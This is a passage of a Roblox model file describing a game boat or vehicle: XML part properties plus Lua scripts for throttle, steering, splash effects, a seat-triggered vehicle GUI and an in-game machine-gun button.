						<string name="Name">BoatScript</string>
						<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
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script.Parent.Transparency = 0.5
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wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
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									<R01>0.000433623791</R01>
									<R02>-0.500110567</R02>
									<R10>-0.0021558404</R10>
									<R11>0.999987066</R11>
									<R12>0.00459999312</R12>
									<R20>0.500105977</R20>
									<R21>0.00506167114</R21>
									<R22>-0.865949392</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Wire</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.00253061112</X>
									<Y>0.000121983161</Y>
									<Z>0.00395261496</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.0101771737</X>
									<Y>0.0156128909</Y>
									<Z>0.00891559571</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>2.4000001</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX3341">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>0.100000001</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX3342">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294944000</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX3343">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">4</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">208</int>
								<CoordinateFrame name="CFrame">
									<X>-1580.71216</X>
									<Y>9.28264141</Y>
									<Z>76.3170395</Z>
									<R00>-0.500110567</R00>
									<R01>0.000433623791</R01>
									<R02>0.865961552</R02>
									<R10>0.00459999312</R10>
									<R11>0.999987066</R11>
									<R12>0.0021558404</R12>
									<R20>-0.865949392</R20>
									<R21>0.00506167114</R21>
									<R22>-0.500105977</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.00253061112</X>
									<Y>0.000121983161</Y>
									<Z>0.00395261496</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.00110786455</X>
									<Y>-0.00141005637</Y>
									<Z>0.00221584574</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>6</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX3344">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX3345">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294944256</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX3346">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">4</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">208</int>
								<CoordinateFrame name="CFrame">
									<X>-1582.76135</X>
									<Y>9.28630829</Y>
									<Z>75.76828</Z>
									<R00>-0.500110567</R00>
									<R01>0.000433623791</R01>
									<R02>0.865961552</R02>
									<R10>0.00459999312</R10>
									<R11>0.999987066</R11>
									<R12>0.0021558404</R12>
									<R20>-0.865949392</R20>
									<R21>0.00506167114</R21>
									<R22>-0.500105977</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.00253061112</X>
									<Y>0.000121983161</Y>
									<Z>0.00395261496</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.00102643156</X>
									<Y>-0.00812103599</Y>
									<Z>0.00247509242</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>3</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX3347">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX3348">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">4</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">208</int>
								<CoordinateFrame name="CFrame">
									<X>-1582.21252</X>
									<Y>9.29644203</Y>
									<Z>73.7191925</Z>
									<R00>-0.500110567</R00>
									<R01>0.000433623791</R01>
									<R02>0.865961552</R02>
									<R10>0.00459999312</R10>
									<R11>0.999987066</R11>
									<R12>0.0021558404</R12>
									<R20>-0.865949392</R20>
									<R21>0.00506167114</R21>
									<R22>-0.500105977</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.00253061112</X>
									<Y>0.000121983161</Y>
									<Z>0.00395261496</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.000736422604</X>
									<Y>-0.000766286626</Y>
									<Z>0.00243378943</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>6</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX3349">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX3350">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294944256</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="VehicleSeat" referent="RBX3351">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">5</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1582.76086</X>
								<Y>10.2862949</Y>
								<Z>75.7733383</Z>
								<R00>0.500110567</R00>
								<R01>0.000433623791</R01>
								<R02>-0.865961552</R02>
								<R10>-0.00459999312</R10>
								<R11>0.999987066</R11>
								<R12>-0.0021558404</R12>
								<R20>0.865949392</R20>
								<R21>0.00506167114</R21>
								<R22>0.500105977</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">false</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">100</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.00253061112</X>
								<Y>0.000121983161</Y>
								<Z>0.00395261496</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">20</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">1</float>
							<Vector3 name="Velocity">
								<X>-0.00292551378</X>
								<Y>-0.00813190639</Y>
								<Z>0.00500561018</Z>
							</Vector3>
							<Vector3 name="size">
								<X>4</X>
								<Y>1</Y>
								<Z>3</Z>
							</Vector3>
						</Properties>
						<Item class="Script" referent="RBX3352">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Pickup</string>
								<ProtectedString name="Source">script.Parent.ChildAdded:connect(function(w)
print(&quot;ChildAdded&quot;)
if w.className==&quot;Weld&quot; then
print(&quot;IsAWeld&quot;)
if w.Name==&quot;SeatWeld&quot; then
print(&quot;IsASeatWeld&quot;)
if w.Part1.Parent:findFirstChild(&quot;Humanoid&quot;)~=nil then
print(&quot;IsAHumanoid&quot;)
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)
if pl~=nil then
print(&quot;IsAPlayer&quot;)
if pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;)~=nil then
print(&quot;found vehicle gui - deleting&quot;)
pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;).Parent=nil
print(&quot;deleted&quot;)
else
print(&quot;no gui found - adding&quot;)
newgui=script.Parent.VehicleGui:clone()
newgui.Parent=pl.PlayerGui
newgui.Vehicle.Value=script.Parent.Parent

print(&quot;added&quot;)
end
end
end
end
end
end)

script.Parent.ChildRemoved:connect(function(w)
print(&quot;ChildRemoved&quot;)
if w.className==&quot;Weld&quot; then
print(&quot;IsAWeld&quot;)
if w.Name==&quot;SeatWeld&quot; then
print(&quot;IsASeatWeld&quot;)
if w.Part1.Parent:findFirstChild(&quot;Humanoid&quot;)~=nil then
print(&quot;IsAHumanoid&quot;)
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)
if pl~=nil then
print(&quot;IsAPlayer&quot;)
if pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;)~=nil then
print(&quot;found vehicle gui - deleting&quot;)
pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;).Parent=nil
print(&quot;deleted&quot;)
else
print(&quot;no gui found - wierd...&quot;)
end
end
end
end
end
end)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3353">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">SteerScript</string>
								<ProtectedString name="Source">MP = script.Parent.Parent.Part1
MP2 = script.Parent.Parent.Part2
Height = 15

while true do
wait()

if script.Parent.Steer == 1 then
MP.BodyGyro.cframe = MP.BodyGyro.cframe*CFrame.Angles(0,math.rad(-2),0)
print(&quot;Right&quot;)
end

if script.Parent.Steer == -1 then
MP.BodyGyro.cframe = MP.BodyGyro.cframe*CFrame.Angles(0,math.rad(2),0)
print(&quot;Left&quot;)
end 


if script.Parent.Throttle == 1 then
if Height ~= 30 then 
Height = Height + 1
MP2.BodyGyro.cframe = MP2.BodyGyro.cframe*CFrame.Angles(math.rad(2),0,0)
end end


if script.Parent.Throttle == -1 then
if Height ~= 1 then
Height = Height - 1
MP2.BodyGyro.cframe = MP2.BodyGyro.cframe*CFrame.Angles(math.rad(-2),0,0)
end end

end










</ProtectedString>
							</Properties>
						</Item>
						<Item class="ScreenGui" referent="RBX3354">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">VehicleGui</string>
							</Properties>
							<Item class="Frame" referent="RBX3355">
								<Properties>
									<bool name="Active">false</bool>
									<bool name="Archivable">true</bool>
									<Color3 name="BackgroundColor3">4281545523</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4278190080</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="Draggable">false</bool>
									<string name="Name">Frame</string>
									<UDim2 name="Position">
										<XS>0.460000008</XS>
										<XO>0</XO>
										<YS>0.675000012</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0.140000001</XS>
										<XO>0</XO>
										<YS>0.13000001</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<token name="Style">0</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
								<Item class="Script" referent="RBX3356">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<ProtectedString name="Source">repeat wait() until script.Parent.Parent.Vehicle.Value~=nil

db=false
held=false

v=script.Parent.Parent.Vehicle
f=script.Parent
guns=script.Parent.Machine

function fireguns()
v1=v.Value.Gun1Bullet:clone()
vel=Instance.new(&quot;BodyVelocity&quot;)
vel.Parent=v1
v1.Velocity=v1.CFrame.lookVector*500
vel.velocity=v1.Velocity
v1.Anchored=false
--v1.CanCollide=true
v1.Transparency=0
v1.Damage.Disabled=false
v1.Parent=workspace
print(&quot;Created bullet&quot;)
v.Value.Gun1Bullet.Fire:Play()
end


function gunsdown()
held=true
while held==true do
fireguns()
print(&quot;Fire bullet&quot;)
wait(0.1)
end
end

function gunsup()
held=false
print(&quot;up&quot;)
end


guns.MouseButton1Down:connect(gunsdown)
guns.MouseButton1Up:connect(gunsup)
guns.MouseLeave:connect(function() gunsup() end)




</ProtectedString>
									</Properties>
								</Item>
								<Item class="Frame" referent="RBX3357">
									<Properties>
										<bool name="Active">false</bool>
										<bool name="Archivable">true</bool>
										<Color3 name="BackgroundColor3">4294967295</Color3>
										<float name="BackgroundTransparency">0.800000012</float>
										<Color3 name="BorderColor3">4294967295</Color3>
										<int name="BorderSizePixel">0</int>
										<bool name="Draggable">false</bool>
										<string name="Name">Frame</string>
										<UDim2 name="Position">
											<XS>0</XS>
											<XO>0</XO>
											<YS>0</YS>
											<YO>0</YO>
										</UDim2>
										<UDim2 name="Size">
											<XS>1</XS>
											<XO>0</XO>
											<YS>0.500000119</YS>
											<YO>0</YO>
										</UDim2>
										<token name="SizeConstraint">0</token>
										<token name="Style">0</token>
										<bool name="Visible">true</bool>
										<int name="ZIndex">1</int>
									</Properties>
								</Item>
								<Item class="TextButton" referent="RBX3358">
									<Properties>
										<bool name="Active">true</bool>
										<bool name="Archivable">true</bool>
										<bool name="AutoButtonColor">true</bool>
										<Color3 name="BackgroundColor3">4289003553</Color3>
										<float name="BackgroundTransparency">0</float>
										<Color3 name="BorderColor3">4278190080</Color3>
										<int name="BorderSizePixel">1</int>
										<bool name="Draggable">false</bool>
										<token name="Font">0</token>
										<token name="FontSize">2</token>
										<string name="Name">Machine</string>
										<UDim2 name="Position">
											<XS>0.0500015542</XS>
											<XO>0</XO>
											<YS>0.0500000007</YS>
											<YO>0</YO>
										</UDim2>
										<bool name="Selected">false</bool>
										<UDim2 name="Size">
											<XS>0.700000167</XS>
											<XO>0</XO>
											<YS>0.350000024</YS>
											<YO>0</YO>
										</UDim2>
										<token name="SizeConstraint">0</token>
										<token name="Style">0</token>
										<string name="Text">Shoot</string>
										<Color3 name="TextColor3">4294967295</Color3>
										<float name="TextTransparency">0</float>
										<bool name="TextWrap">false</bool>
										<token name="TextXAlignment">2</token>
										<token name="TextYAlignment">1</token>
										<bool name="Visible">true</bool>
										<int name="ZIndex">1</int>
									</Properties>
								</Item>
							</Item>
							<Item class="ObjectValue" referent="RBX3359">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">Vehicle</string>
									<Ref name="Value">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="CylinderMesh" referent="RBX3360">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>-0.400000006</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>0.200000003</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX3361">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4294955008</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294901760</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX3362">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1577.97205</X>
								<Y>10.2015505</Y>
								<Z>73.0064621</Z>
								<R00>0.501711071</R00>
								<R01>-0.263158441</R01>
								<R02>-0.824042857</R02>
								<R10>-0.0100002112</R10>
								<R11>0.950775385</R11>
								<R12>-0.309720486</R12>
								<R20>0.86498642</R20>
								<R21>0.163631484</R21>
								<R22>0.474373877</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part2</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.000712785404</X>
								<Y>-0.000524872623</Y>
								<Z>-0.000586516166</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-0.0150668612</X>
								<Y>0.00619569793</Y>
								<Z>0.0049589905</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>6</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX3363">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX3364">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>2.2594013e-006</R01>
									<R02>-4.30987529e-005</R02>
									<R10>-2.22272829e-005</R10>
									<R11>0.882953703</R11>
									<R12>-0.469459474</R12>
									<R20>3.69936279e-005</R20>
									<R21>0.469459474</R21>
									<R22>0.882953703</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>1000</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX3365">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4294944256</Color3>
